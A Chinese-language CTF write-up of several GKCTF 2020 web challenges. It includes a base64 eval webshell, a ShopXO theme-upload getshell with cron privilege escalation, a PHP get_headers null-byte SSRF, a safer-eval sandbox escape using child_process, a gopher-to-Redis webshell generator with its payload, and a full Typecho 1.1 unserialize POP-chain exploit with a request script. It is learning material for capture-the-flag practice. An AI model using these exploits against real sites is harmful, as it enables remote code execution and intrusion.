Web Check_in 题目直接给出源码,发现它base64解码后,可以执行命令。
那我们可以通过get传参Ginkgo=ZXZhbCgkX1BPU1RbJ2NtZCddKTs=(eval($_POST[‘cmd’]);的base64编码),然后再POST传参数执行命令。
先看一下phpinfo,因为默认这个题目没有这么简单,就先搜disable_functions,看到禁用了很多函数,那就必须要绕过。
先用蚁剑连接,这样可以方便之后操作。
因为蚁剑那个bypass的插件还不会用,就利用上传功能上传exp了,传送门 。把pwn里面的命令改为/readflag,上传。上传时,需要找一个能上传有权限的文件夹,我这里是/var/tmp,直接右键上传弄好的exp。
然后再到主界面,包含一下这个代码,就得到flag。
老八小超市儿 看到是一个ShopXO的商城系统,考这种题,应该不会说是让你从头审计一下这个网站的漏洞在哪里,或者说就是扫路径,然后用渗透测试的思路来做。
题目应该有它已经发布的漏洞点,上网去找一下ShopXO漏洞,就找到一个getshell的文章 ,照他的来做。
默认后台路径为admin.php,弱口令admin+shopxo登入后台。进入“应用中心”—“应用商店”,找到主题下载页面,选择默认主题下载。
把shell放到主题压缩包的default/_static_路径下面,注意一定是在不解压的情况下放入shell文件,先解压再压缩,好像会出错。
然后进入“网站管理”—“主题管理”—“主题安装”,选择前面的压缩包上传。安装成功后,访问网站/public/static/index/default/cmd.php路径,就可以执行命令。在hackbar执行有点问题,换到了蚁剑,cat /flag发现是个假的,真正的在/root下,但此时是没有权限的。
我刚开还想用特殊权限位提权,发现试了几个常用的,都不行。然后在根目录发现一个每60s执行一次的sh脚本,而且它还有root权限。
到/var/mail/makeflaghint.py看一下,是一个写文件的脚本,那我们直接在此之上修改一下,加两行读flag的代码。
保存之后等待60s,就可以在/flag.hint得到flag。
CVE签到 这道题目好久都没人做出来的,然后放出hint,直接提示CVE,那就真就变签到了,但当时还是没怎么看,没做出来。
页面直接给一个超链接。
点击后,会在网址后面拼接一个url,get传参。
但这样就不明所以,不知道要看什么。直接搜给出的编号:cve-2020-7066,描述如下:
在 PHP 版本 7.2.x 低于 7.2.29、7.3.x 低于 7.3.16 和 7.4.x 低于 7.4.4,当使用 get_headers() 处理用户提供的 URL,如果 URL 包含零 (\0) 字符,则 URL 将被默默截断。这可能会导致某些软件对get_headers()的目标做出不正确的假设,并可能将一些信息发送到错误的服务器。
零字符url编码为%00,通过%00截断,让它请求本地主机,可以得到提示。
把host结尾改为123,得到flag。
EzNode 主页是一个计算器,但没什么用,直接查看他给的源代码。发现是nodejs写的,需要学习一波相关知识,把一些点都标上去了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 const express = require ('express' );const bodyParser = require ('body-parser' );const saferEval = require ('safer-eval' ); const fs = require ('fs' );const app = express();app.use(bodyParser.urlencoded({ extended : false })); app.use(bodyParser.json()); app.use((req, res, next ) => { if (req.path === '/eval' ) { let delay = 60 * 1000 ; console .log(delay); if (Number .isInteger(parseInt (req.query.delay))) { delay = Math .max(delay, parseInt (req.query.delay)); } const t = setTimeout (() => next(), delay); setTimeout (() => { clearTimeout (t); console .log('timeout' ); try { res.send('Timeout!' ); } catch (e) { } }, 1000 ); } else { next(); } }); app.post('/eval' , function (req, res ) { let response = '' ; if (req.body.e) { try { response = saferEval(req.body.e); } catch (e) { response = 'Wrong Wrong Wrong!!!!' ; } } res.send(String (response)); }); app.get('/source' , function (req, res ) { res.set('Content-Type' , 'text/javascript;charset=utf-8' ); res.send(fs.readFileSync('./index.js' )); }); app.get('/version' , function (req, res ) { res.set('Content-Type' , 'text/json;charset=utf-8' ); res.send(fs.readFileSync('./package.json' )); }); app.get('/' , function (req, res ) { res.set('Content-Type' , 'text/html;charset=utf-8' ); res.send(fs.readFileSync('./index.html' )) }) app.listen(80 , '0.0.0.0' , () => { console .log('Start listening' ) });
代码审计后,知道关键点是saferEval这个函数,它可以把我们传入的字符串当作命令执行。那就先看怎么到达这个函数。
在express这个框架中,我们提交的请求都首先会经过第一个app.use函数的处理,如果它处理完毕,并返回给客户端信息。如果此时还没有执行next()函数,那么后面其他中间件函数,如app.post(‘/eval’)就不会得到执行。
要利用saferEval,我们要访问路径/eval。我们传入的请求会先经过app.use函数的处理,它判断路径为/eval之后,就会设置一个60s的delay。同时还会把这个数和我们传入的delay做一个比较,取最大的数为delay,并传给setTimeout设置定时器。如果延时结束,就会执行next(),交给下一个中间件函数处理请求。但代码中又写了一个定时器,在延时1s后,取消之前设置的定时器,并返回给客户端处理结果。因为delay那个数比较大,看起来总是会被取消。这里是一个绕过:
对于setTimeout函数,当delay大于2147483647或小于1时,delay将会被设置为1。非整数的delay会被截断为整数。
我们传入delay=21474836477(只要比上面那个数大就行),这个值大于代码中的delay,取最大。之后,delay就会被setTimeout函数处理为1,1ms马上延时结束,执行next(),提交给下一个中间件函数app.post(‘/eval’)。app.post(‘/eval’)这个路由会对我们把请求中e的值传给safeEval处理,下来就针对safeEval进行沙箱逃逸。
传送门 给出的Poc:
1 2 3 4 5 6 7 8 9 const saferEval = require ("./src/index" );const theFunction = function ( ) { const process = clearImmediate.constructor("return process;" )(); return process.mainModule.require("child_process" ).execSync("whoami" ).toString() }; const untrusted = `(${theFunction} )()` ;console .log(saferEval(untrusted));
把上面函数中的exp简单拼接一下,再和delay一起传入,就可以得到flag。
沙箱逃逸这个知识点要放到以后的深入学习日程中。
EzWeb 前端是一个提交网址的页面,没什么信息,查看源代码,提示?secret。
因为网址是get提交的,所以它加了问号。尝试一下,看到给了ip地址。
ip地址为173.239.227.10,可以通过bp来扫一下这个网段还有什么其他主机。看到5,6,7,10,11是其他主机。但5,6,7页面显示的东西都不知道是干什么的,11提示需要试试其他服务,端口就在这上面,那扫一下它的端口。从一个ip到另一个ip,可以想到ssrf;再到另一个ip的端口,可以认为是redis或者mysql。
因为buu这个限制扫描缘故,最多开2线程扫,最后看到6379是开的。看报错是redis的格式,记下了。那么基本可以确认是gopher协议利用ssrf打redis未授权getshell了。
因为它ban了file,不能读文件,但是gopher没有ban,可以利用gopher://协议写shell。写shell的脚本来自博客 ,改成py3并修改ip如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import urllibprotocol="gopher://" ip="173.207.21.11" port="6379" shell="\n\n<?php system(\"cat /flag\");?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall" , "set 1 {}" .format (shell.replace(" " ,"${IFS}" )), "config set dir {}" .format (path), "config set dbfilename {}" .format (filename), "save" ] if passwd: cmd.insert(0 ,"AUTH {}" .format (passwd)) payload=protocol+ip+":" +port+"/_" def redis_format (arr ): CRLF="\r\n" redis_arr = arr.split(" " ) cmd="" cmd+="*" +str (len (redis_arr)) for x in redis_arr: cmd+=CRLF+"$" +str (len ((x.replace("${IFS}" ," " ))))+CRLF+x.replace("${IFS}" ," " ) cmd+=CRLF return cmd if __name__=="__main__" : for x in cmd: payload += urllib.parse.quote(redis_format(x)) print (payload)
生成payload:
1 gopher://173.207.21.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
这里是换了台机子,所以ip变了,ip四个位置还是11,端口也没变。下面把payload打过去,注意这里一定要把payload放到这个框里面提交,用hackbar打不过去。
然后再访问shell.php,得到flag。
ssrf+gopher这个东西要放到日后的深入学习目标中了。
EzTypecho 看题目知道是Typecho,和php相关。题目直接给了源代码,体量对我来说很大,不知从何搞起。看wp说Typecho的漏洞基本出在install.php,而且这题基本就是考typcheo1.1的反序列化链。
先进install.php找到反序列化点。
看到还设置了检测,看是否有$_SESSION,但是题目没有使用session_start()。要想反序列化就得先绕过这个检测,根据PHP文档有:
那么在文件上传时,POST一个与PHP_SESSION_UPLOAD_PROGRESS同名变量时会在 session中添加数据,从而绕过session检测。
下面就是整个反序列化链的构造了,一般从反序列化点倒着推,去找有哪些可控点,是比较顺的。typecho1.1反序列化链参考自该博客 。
从install.php开始,231行看到unserialize函数,为反序列化点。
1 2 3 4 5 6 7 <\?php $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config' ))); Typecho_Cookie::delete('__typecho_config' ); $db = new Typecho_Db($config ['adapter' ], $config ['prefix' ]); $db ->addServer($config , Typecho_Db::READ | Typecho_Db::WRITE); Typecho_Db::set($db ); ?>
跟进Typecho_Cookie::get()(在cookie.php中),看到从cookie中获取,变量可控。
1 2 3 4 5 6 public static function get ($key , $default = NULL ) { $key = self ::$_prefix . $key ; $value = isset ($_COOKIE [$key ]) ? $_COOKIE [$key ] : (isset ($_POST [$key ]) ? $_POST [$key ] : $default ); return is_array($value ) ? $default : $value ; }
再看install.php前面一部分的代码,看能否通过验证执行到反序列化这个位置。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (!isset ($_GET ['finish' ]) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php' ) && empty ($_SESSION ['typecho' ])) { exit ; } if (!empty ($_GET ) || !empty ($_POST )) { if (empty ($_SERVER ['HTTP_REFERER' ])) { exit ; } $parts = parse_url($_SERVER ['HTTP_REFERER' ]); if (!empty ($parts ['port' ])) { $parts ['host' ] = "{$parts['host']} :{$parts['port']} " ; } if (empty ($parts ['host' ]) || $_SERVER ['HTTP_HOST' ] != $parts ['host' ]) { exit ; } }
可以看到要想执行到下面的命令,需要两个条件,一是通过get方式提交有finish参数,这部分返回0,后面就不用管了,二是HTTP_REFERER非空且为自己的host,很容易实现。这样就可以开始思考如何利用这个反序列化漏洞。
反序列化漏洞需要魔术方法,常见几种如下:
1 2 3 4 5 6 7 8 9 10 11 __wakeup() __sleep() __destruct() __call() __callStatic() __get() __set() __isset() __unset() __toString() __invoke()
再放一个详细介绍反序列化方法的链接 。
跟进Typecho_Db()(在Db.php中)。这里跟进,是因为Typecho_Db()这个函数在接下来要处理我们可控的反序列化数据,要看看Typecho_Db()对数据做了什么操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public function __construct ($adapterName , $prefix = 'typecho_' ) { $this ->_adapterName = $adapterName ; $adapterName = 'Typecho_Db_Adapter_' . $adapterName ; if (!call_user_func(array ($adapterName , 'isAvailable' ))) { throw new Typecho_Db_Exception("Adapter {$adapterName} is not available" ); } $this ->_prefix = $prefix ; $this ->_pool = array (); $this ->_connectedPool = array (); $this ->_config = array (); $this ->_adapter = new $adapterName (); }
其中 $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
将变量与字符串连接,如果我们这个变量是对象,那便会调用魔术方法__toString()。经过搜索整个代码发现,__toString()有三处,在feed.php的__toString()方法(在Typecho_Feed类中)中,有这么一串代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 foreach ($this ->_items as $item ) { $content .= '<item>' . self ::EOL; $content .= '<title>' . htmlspecialchars($item ['title' ]) . '</title>' . self ::EOL; $content .= '<link>' . $item ['link' ] . '</link>' . self ::EOL; $content .= '<guid>' . $item ['link' ] . '</guid>' . self ::EOL; $content .= '<pubDate>' . $this ->dateFormat($item ['date' ]) . '</pubDate>' . self ::EOL; $content .= '<dc:creator>' . htmlspecialchars($item ['author' ]->screenName) . '</dc:creator>' . self ::EOL; if (!empty ($item ['category' ]) && is_array($item ['category' ])) { foreach ($item ['category' ] as $category ) { $content .= '<category><![CDATA[' . $category ['name' ] . ']]></category>' . self ::EOL; } }
读到$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
发现问题,前面提到__get()用于从不可访问的属性读取数据,foreach遍历时当screenName属性不存在的时候会调用__get()。这就全局搜索有__get()方法的类(在Typecho_Request类中),在Request.php有代码:
1 2 3 4 public function __get ($key )//$key 为不能访问的属性,prvite 在其他类不能被访问,所以下文exp 设为private 属性 { return $this ->get($key ); }
跟进get(),仍在Request.php中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public function get ($key , $default = NULL ) { switch (true ) { case isset ($this ->_params[$key ]): $value = $this ->_params[$key ]; break ; case isset (self ::$_httpParams [$key ]): $value = self ::$_httpParams [$key ]; break ; default : $value = $default ; break ; } $value = !is_array($value ) && strlen($value ) > 0 ? $value : $default ; return $this ->_applyFilter($value ); }
跟进_applyFilter(),仍在Request.php。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private function _applyFilter ($value ) { if ($this ->_filter) { foreach ($this ->_filter as $filter ) { $value = is_array($value ) ? array_map($filter , $value ) : call_user_func($filter , $value ); } $this ->_filter = array (); } return $value ; }
看到了call_user_func($filter, $value),这个函数的作用是把第一个参数作为回调函数调用,比如这个例子:
1 2 3 4 5 6 7 8 <\?php function barber ($type ) { echo "You wanted a $type haircut, no problem\n" ; } call_user_func('barber' , "mushroom" ); call_user_func('barber' , "shave" ); ?>
到此为止构造出POP链:
install.php中unserialize()内容可控==>install.php实例化了一个Typecho_Db,Typecho_Db对象在获取适配器名称$adapterName时调用了魔术方法__toString()==>Feed.php执行__toString()的时候在获取screenName的时候调用了__get()方法==>Request.php中__get()中调用get(),其中执行了_applyFilte()==> Request.php中的_applyFilter()中使用了call_user_func(),该回调函数导致漏洞触发。
构造的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <\?php class Typecho_Feed { const RSS1 = 'RSS 1.0' ; const RSS2 = 'RSS 2.0' ; const ATOM1 = 'ATOM 1.0' ; const DATE_RFC822 = 'r' ; const DATE_W3CDTF = 'c' ; const EOL = "\n" ; private $_type ; private $_items ; public function __construct ( ) { $this ->_type = $this ::RSS2; $this ->_items[0 ] = array ( 'title' => '1' , 'content' => '1' , 'link' => '1' , 'date' => 1540996608 , 'category' => array (new Typecho_Request()), 'author' => new Typecho_Request(), ); } } class Typecho_Request { private $_params = array (); private $_filter = array (); public function __construct ( ) { $this ->_params['screenName' ] = 'phpinfo()' ; $this ->_filter[0 ] = 'assert' ; } } $payload = array ( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($payload ));?>
其实刚分析完整个流程,看这个exp,我还是有点懵的。一个点:怎么就能关联到__toString()方法了呢?搞得我还以为魔术方法是全局触发的呢。其实并不是,变量adapter是Typecho_Feed(),这样就能被当字符串处理就能触发__toString(),是因为__toString()函数是属于Typecho_Feed()的,所以能触发。可能很蠢,但我刚开始就这样想了,这可能是很长时间没做这种题目的原因。分析完POP链,也还是要花点时间去看看这个exp是怎么写的,不然对PHP反序列化这个知识点还是不够深入的。
最后想拿flag的时候,要加上PHP_SESSION_UPLOAD_PROGRESS名字的文件,还有PHPSESSID。但在尝试时,发现我不会用burp上传文件,postman还没玩熟,就各种不行。目标效果是下面这样,但就是实现不了。就换成py脚本来请求和提交数据。
用脚本的时候也发现一个有问题,上面的exp生成的payload能显示phpinfo,但是想cat /flag就会出错,没有回显。换用官方exp,生成的payload去cat /flag就么有问题,也搞不清楚为什么。官方exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <\?php class Typecho_Feed { private $_type ; private $_items = array (); public function __construct ( ) { $this ->_type = 'RSS 2.0' ; $item ['author' ] = new Typecho_Request(); $item ['category' ] = array (new Typecho_Request()); $this ->_items[0 ] = $item ; } } class Typecho_Request { private $_params = array (); private $_filter = array (); function __construct ( ) { $this ->_params["screenName" ]="cat /flag" ; $this ->_filter[0 ]="system" ; } } $a = array ("adapter" => new Typecho_Feed(),"prefix" => "test" ); echo base64_encode(serialize($a ));?>
下面是用官方的py脚本,会写脚本是真方便,省得来回操作工具。脚本如下:
1 2 3 4 5 6 7 8 9 10 11 import requests url='http://614f305f-9b66-495a-93bd-805339272911.node3.buuoj.cn/install.php?finish=1' files={'file' :123 } headers={ 'cookie' :'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6OToiY2F0IC9mbGFnIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX19fX19czo2OiJwcmVmaXgiO3M6NDoidGVzdCI7fQ==' ,'Referer' :'http://614f305f-9b66-495a-93bd-805339272911.node3.buuoj.cn/install.php' } res=requests.post(url,files=files,headers=headers,data= {"PHP_SESSION_UPLOAD_PROGRESS" : "123456789" }) print (res.text)
执行就能得到flag。
在看别人博客的时候,还发现另一种方法,是在url的install.php后面get传参start=1,这样就能绕过session没开启的限制,不用加PHPSESSID,也不用加PHP_SESSION_UPLOAD_PROGRESS。
在博客下面留言,得到回复:不是同一段代码,不是绕sesion_start();加上start是进一个新的if,在那个if里有另一个反序列化位点;代码里有2处反序列化位点,第一处需要session,但是没session所以用不了,用另一个。虽说入口点不一样,但是反序列化链都是一样的。
下面就是根据提示,在install.php找到的另一个入口点。因为不传finish参数,前面就exit。然后看到这里,我们get传参start,进入这个if分支。进入后,又有一个if来判断是否存在那个配置文件,因为我们没安装,自然没那个文件。然后进入下面那个else分支,就又看到了上面熟悉的反序列化语句,而且后面也有写入Typecho_Db对象,所以说反序列化链和exp都是一样的。
如果这样下来发现POP链分析还是比较可以的,能跟着整个流程走下来。但可能是因为跟着别人的步子走,才能这么顺,要是纯粹自己分析可能又是另一种情况,以后也要找这种漏洞多分析分析。
Node-Exe 这道题目先放放,今天是没时间了,也有新知识。
后记
参考:
[1] 防灾科技学院GKCTF 2020 Writeup
[2] [GKCTF2020]Web 部分
[3] GKCTF-ezweb
[4] GKCTF2020wp
[5] 浅析Redis中SSRF的利用